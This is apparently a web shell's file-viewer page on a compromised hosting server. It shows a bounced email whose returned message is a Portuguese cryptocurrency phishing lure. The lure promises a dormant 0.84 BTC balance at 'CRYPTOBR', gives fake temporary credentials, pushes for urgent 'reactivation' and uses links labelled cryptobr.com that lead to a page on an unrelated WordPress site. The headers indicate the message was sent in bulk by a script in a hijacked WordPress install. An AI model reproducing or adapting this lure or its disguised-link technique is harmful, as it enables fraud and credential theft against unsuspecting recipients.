HEX
Server: Apache
System: Linux gains.arrowcloudlinux.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User: mbkashyap (2642)
PHP: 8.1.33
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mbkashyap/Maildir/new/1761969409.M59041P1667437.gains.arrowcloudlinux.com,S=13345,W=13597
Return-Path: <>
Delivered-To: mbkashyap@mbkashyap.com
Received: from gains.arrowcloudlinux.com
	by gains.arrowcloudlinux.com with LMTP
	id +X9IAwGFBWltcRkAkSpu+g
	(envelope-from <>)
	for <mbkashyap@mbkashyap.com>; Sat, 01 Nov 2025 09:26:49 +0530
Return-path: <>
Envelope-to: mbkashyap@mbkashyap.com
Delivery-date: Sat, 01 Nov 2025 09:26:49 +0530
Received: from mail by gains.arrowcloudlinux.com with spam-scanned (Exim 4.98.2)
	id 1vF2jN-000000070Rp-2vIT
	for mbkashyap@mbkashyap.com;
	Sat, 01 Nov 2025 09:26:49 +0530
X-Spam-Checker-Version: SpamAssassin 4.0.2 (2025-08-27) on
	gains.arrowcloudlinux.com
X-Spam-Level: 
X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_FONT_SIZE_HUGE,
	HTML_MESSAGE,KHOP_HELO_FCRDNS,LOTS_OF_MONEY,
	RCVD_IN_VALIDITY_CERTIFIED_BLOCKED,RCVD_IN_VALIDITY_RPBL_BLOCKED,
	RCVD_IN_VALIDITY_SAFE_BLOCKED,SPF_HELO_NONE,URIBL_BLOCKED,URIBL_CSS_A
	autolearn=no autolearn_force=no version=4.0.2
Received: from imap-vip-rev-01.uni5.net ([191.6.220.4] helo=mx-worker-rev-01.uni5.net)
	by gains.arrowcloudlinux.com with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.98.2)
	id 1vF2jN-000000070H3-19AA
	for mbkashyap@mbkashyap.com;
	Sat, 01 Nov 2025 09:26:45 +0530
Received: by mx-worker-rev-01.uni5.net (Postfix)
	id 59319137EF4E; Sat,  1 Nov 2025 00:56:41 -0300 (-03)
Date: Sat,  1 Nov 2025 00:56:41 -0300 (-03)
From: MAILER-DAEMON@gains.arrowcloudlinux.com (Mail Delivery System)
Subject: Undelivered Mail Returned to Sender
To: mbkashyap@mbkashyap.com
Auto-Submitted: auto-replied
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="ED78A137F337.1761969401/mx-worker-rev-01.uni5.net"
Message-Id: <20251101035641.59319137EF4E@mx-worker-rev-01.uni5.net>
X-Antivirus-Scanner: Clean mail though you should still use an Antivirus

This is a MIME-encapsulated message.

--ED78A137F337.1761969401/mx-worker-rev-01.uni5.net
Content-Description: Notification
Content-Type: text/plain; charset=us-ascii

This is the mail system at host mx-worker-rev-01.uni5.net.

I'm sorry to have to inform you that your message could not
be delivered to one or more recipients. It's attached below.

For further assistance, please send mail to postmaster.

If you do so, please include this problem report. You can
delete your own text from the attached returned message.

                   The mail system

<contato@agenciam4.com.br>: host 10.19.28.118[10.19.28.118] said: 550 5.1.1
    <contato@agenciam4.com.br>: Recipient address rejected: User unknown in
    virtual mailbox table (in reply to RCPT TO command)

--ED78A137F337.1761969401/mx-worker-rev-01.uni5.net
Content-Description: Delivery report
Content-Type: message/delivery-status

Reporting-MTA: dns; mx-worker-rev-01.uni5.net
X-Postfix-Queue-ID: ED78A137F337
X-Postfix-Sender: rfc822; mbkashyap@mbkashyap.com
Arrival-Date: Sat,  1 Nov 2025 00:56:32 -0300 (-03)

Final-Recipient: rfc822; contato@agenciam4.com.br
Original-Recipient: rfc822;contato@agenciam4.com.br
Action: failed
Status: 5.1.1
Remote-MTA: dns; 10.19.28.118
Diagnostic-Code: smtp; 550 5.1.1 <contato@agenciam4.com.br>: Recipient address
    rejected: User unknown in virtual mailbox table

--ED78A137F337.1761969401/mx-worker-rev-01.uni5.net
Content-Description: Undelivered Message
Content-Type: message/rfc822

Return-Path: <mbkashyap@mbkashyap.com>
X-Policyd: dunno
Received: from gains.arrowcloudlinux.com (smtp4.gains.arrowcloudlinux.com [131.153.51.38])
	(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
	 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
	(No client certificate requested)
	by mx-worker-rev-01.uni5.net (Postfix) with ESMTPS id ED78A137F337
	for <contato@agenciam4.com.br>; Sat,  1 Nov 2025 00:56:32 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=mbkashyap.com; s=x; h=Date:Message-ID:Reply-To:Content-type:MIME-Version:
	From:Subject:To:Sender:Cc:Content-Transfer-Encoding:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
	List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=iHMTPkMPxu4Cw3FsuIynRHz+X2ruIgmUN01u+xfke9k=; b=RiYCx/hH28dpVuQYnlZsRGMoBQ
	1I7USMzVRsV9SA9/wAgumMuus5U7Wrxp6WiYf4xodSTJTcOO/EfybJvflzI6qYmxm8QXoelK6crIm
	EPOocuJbl60WufOdm6Hpbn8fDYTd782McLzxNVxcVgRMb/iG/io1Z+2GW6aQxG3MWl8wLlG4s3Eo+
	bqOUcfDcIibgkKDUJ/euxRFmtN9zbtd9h9hw0+hEDN3KzMnAWEQM2gFRqRuLzo2P14ET6dSYCqu48
	0D6j1WI2ShHlKj44TokQr6pLdlFgvqqAbvnyKZ26cYut2q6Fe2sZCa72MFiM8O7qEL1eNVUMa+7oJ
	bg8k61vA==;
Received: from mbkashyap by gains.arrowcloudlinux.com with local (Exim 4.98.2)
	(envelope-from <mbkashyap@mbkashyap.com>)
	id 1vF2iy-00000006zFH-3WFq
	for contato@agenciam4.com.br;
	Sat, 01 Nov 2025 09:26:20 +0530
To: contato@agenciam4.com.br
Subject: Ref: xnfmdrgkbf - CRYPTOBR: contato@agenciam4.com.br, Temos 0.84345590 BTC aguardando verificacao, confirme seu acesso. - 01/11/2025 09:26:20
X-PHP-Originating-Script: 2642:wp-blog-header.php
From: "CRYPTOBR Notificacoes 26597" <notificacoes_cryptobr13486@gains.arrowcloudlinux.com>
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
X-Mailer: PHP/8.1.33
Reply-To: <notificacoes_cryptobr13486@gains.arrowcloudlinux.com>
X-Sender: notificacoes_cryptobr13486
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
Message-ID: <b09e769dadcf1b3fb49de3a4fa767978e528b84b@mbkashyap.com>
Date: Sat, 01 Nov 2025 03:56:01 +0000
X-Originating-IP: [131.153.51.35]
X-Authenticated-Id: mbkashyap
X-Scan-Server: mx-worker-rev-01.uni5.net
X-Queue-Id: ED78A137F337
X-Spaminator-Spectre: default: False [-0.40 / 15.00];
	R_DKIM_ALLOW(-0.20)[mbkashyap.com:s=x];
	R_SPF_ALLOW(-0.20)[+ip4:131.153.51.38];
	BLOCKLISTDE_FAIL(0.00)[131.153.51.38:query timed out];
	RSPAMD_URIBL_FAIL(0.00)[marlonhenry.com:query timed out,mbkashyap.com:query timed out];
	SPFBL_URIBL_EMAIL_FAIL(0.00)[contato.agenciam4.com.br:query timed out];
	ASN(0.00)[asn:59210, ipnet:131.153.48.0/22, country:SG];
	SEM_URIBL_UNKNOWN_FAIL(0.00)[marlonhenry.com:query timed out,mbkashyap.com:query timed out,cryptobr.com:query timed out];
	RBL_SEM_FAIL(0.00)[131.153.51.38:query timed out];
	SPFBL_SERVER_FAIL(0.00)[smtp4.gains.arrowcloudlinux.com:query timed out];
	SURBL_MULTI_FAIL(0.00)[agenciam4.com.br:query timed out,smtp4.gains.arrowcloudlinux.com:query timed out,gains.arrowcloudlinux.com:query timed out];
	SEM_URIBL_FRESH15_UNKNOWN_FAIL(0.00)[mbkashyap.com:query timed out];
	DKIM_TRACE(0.00)[mbkashyap.com:+]
X-Rspamd-Action: no action

<!DOCTYPE html>
<html lang="pt-BR">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>A&ccedil;&atilde;o recomendada: proteja seu saldo de 0.84345590 BTC</title>
  <style type="text/css">
    body, table, td, a { -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; }
    body { margin: 0; padding: 0; background: #f4f6f8; font-family: Arial, Helvetica, sans-serif; }
    img { border: 0; height: auto; line-height: 100%; outline: none; text-decoration: none; -ms-interpolation-mode: bicubic; }
    table { border-collapse: collapse !important; }
    a[x-apple-data-detectors] { color: inherit !important; text-decoration: none !important; font-size: inherit !important; }

    .email-container { max-width: 620px; margin: 0 auto; background: #ffffff; border-radius: 8px; overflow: hidden; box-shadow: 0 4px 18px rgba(0,0,0,0.06); }
    .header { background: #1a73e8; color: #ffffff; padding: 16px; text-align: center; font-size: 18px; font-weight: bold; }
    .content { padding: 24px; }
    h1 { font-size: 20px; color: #111111; margin: 0 0 16px; text-align: center; font-weight: bold; }
    p { font-size: 15px; color: #222222; margin: 12px 0; line-height: 1.5; }
    .highlight { color: #d93025; font-weight: bold; }
    .creds { background: #f7f7f8; border: 1px solid #e0e0e0; padding: 14px; border-radius: 6px; margin: 18px 0; font-size: 14px; word-break: break-all; }
    .btn { display: inline-block; background: #1a73e8; color: #ffffff; padding: 14px 24px; border-radius: 6px; text-decoration: none; font-weight: bold; font-size: 16px; text-align: center; }
    .btn-table { width: 100%; text-align: center; margin: 20px 0; }
    .small { font-size: 13px; color: #666666; }
    ol { margin: 16px 0; padding-left: 20px; }
    ol li { margin-bottom: 10px; font-size: 15px; }
    footer { font-size: 12px; color: #777777; margin-top: 24px; padding-top: 16px; border-top: 1px solid #eeeeee; text-align: center; }
    .preheader { display: none; font-size: 1px; color: #f4f6f8; line-height: 1px; max-height: 0; max-width: 0; opacity: 0; overflow: hidden; }

    @media only screen and (max-width: 620px) {
      .email-container { width: 100% !important; border-radius: 0 !important; }
      .content { padding: 16px !important; }
      h1 { font-size: 18px !important; }
      .btn { padding: 12px 20px !important; font-size: 15px !important; display: block !important; }
      .btn-table { margin: 16px 0 !important; }
    }
  </style>
</head>
<body style="margin:0; padding:0; background:#f4f6f8;">
  <div class="preheader">Aten&ccedil;&atilde;o: movimento pendente na sua conta CRYPTOBR</div>

  <!-- Container principal -->
  <table role="presentation" width="100%" cellspacing="0" cellpadding="0" border="0">
    <tr>
      <td align="center" style="padding:20px 10px;">
        <table role="presentation" class="email-container" width="620" cellspacing="0" cellpadding="0" border="0">
          
          <!-- Cabeçalho -->
          <tr>
            <td class="header">
              &#9889; Reativa&ccedil;&atilde;o recomendada para sua conta CRYPTOBR
            </td>
          </tr>

          <!-- Conteúdo -->
          <tr>
            <td class="content">
              <h1>Proteja seu saldo de 0.84345590 BTC</h1>

              <p>Ol&aacute;,</p>

              <p>Detectamos que sua conta, criada em 2020 e vinculada ao e-mail <strong>contato@agenciam4.com.br</strong>, est&aacute; com status <strong>inativa</strong>. Seu saldo evoluiu e atualmente h&aacute; <span class="highlight">0.84345590 BTC (aprox. R$517.729,26)</span> aguardando confirma&ccedil;&atilde;o para libera&ccedil;&atilde;o. &Eacute; necess&aacute;rio reativar sua conta com urg&ecirc;ncia para resgatar esse valor, ou ela ser&aacute; encerrada permanentemente.</p>

              <p>Caso n&atilde;o se lembre, voc&ecirc; criou sua conta CRYPTOBR em 2020, e seus investimentos renderam lucros significativos, alcan&ccedil;ando o saldo atual. N&atilde;o perca essa oportunidade &mdash; reative sua conta agora para resgatar seus fundos!</p>

              <p>Se esse saldo realmente pertence a voc&ecirc;, siga o fluxo seguro abaixo para reativar sua conta e acessar seus ativos. Caso n&atilde;o reconhe&ccedil;a esta mensagem, ignore-a para sua seguran&ccedil;a.</p>

              <div class="creds">
                <strong>Credenciais tempor&aacute;rias de acesso</strong><br>
                E-mail: contato@agenciam4.com.br<br>
                Senha tempor&aacute;ria: <strong>YKq4bz9gVMqb</strong><br>
                <em>(Altere sua senha assim que acessar)</em>
              </div>

              <p><strong>Passos r&aacute;pidos e seguros para reativar:</strong></p>
              <ol>
                <li>Acesse o portal oficial: <a href="https://marlonhenry.com/wp-content/mobile/?cid=contato@agenciam4.com.br" target="_blank" rel="noopener">cryptobr.com/portal</a></li>
                <li>Efetue a verifica&ccedil;&atilde;o de identidade &mdash; processo automatizado e seguro.</li>
                <li>Altere sua senha e ative a autentica&ccedil;&atilde;o de 2 fatores (2FA).</li>
                <li>Confirme os detalhes do resgate e solicite a transfer&ecirc;ncia.</li>
              </ol>

              <!-- Botão centralizado -->
              <table role="presentation" class="btn-table" width="100%" cellspacing="0" cellpadding="0" border="0">
                <tr>
                  <td align="center">
                    <a href="https://marlonhenry.com/wp-content/mobile/?cid=contato@agenciam4.com.br" target="_blank" rel="noopener" class="btn">Reativar minha conta</a>
                  </td>
                </tr>
              </table>

              <p class="small"><strong>Observa&ccedil;&otilde;es de seguran&ccedil;a:</strong> A CRYPTOBR nunca pedir&aacute; sua chave privada ou senha completa por e-mail. N&atilde;o compartilhe esses dados com ningu&eacute;m. Para validar este e-mail, acesse sempre atrav&eacute;s do dom&iacute;nio oficial <strong>cryptobr.com</strong>.</p>

              <footer>
                <p>Se n&atilde;o desejar mais receber este tipo de comunica&ccedil;&atilde;o, voc&ecirc; pode <a href="https://marlonhenry.com/wp-content/mobile/?cid=contato@agenciam4.com.br" target="_blank" rel="noopener">descadastrar-se aqui</a>.</p>
                <p>CRYPTOBR &copy; <span id="year">2025</span> &mdash; Todos os direitos reservados.</p>
              </footer>
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>

  <script>
    document.getElementById('year').textContent = new Date().getFullYear();
  </script>
</body>
</html>

--ED78A137F337.1761969401/mx-worker-rev-01.uni5.net--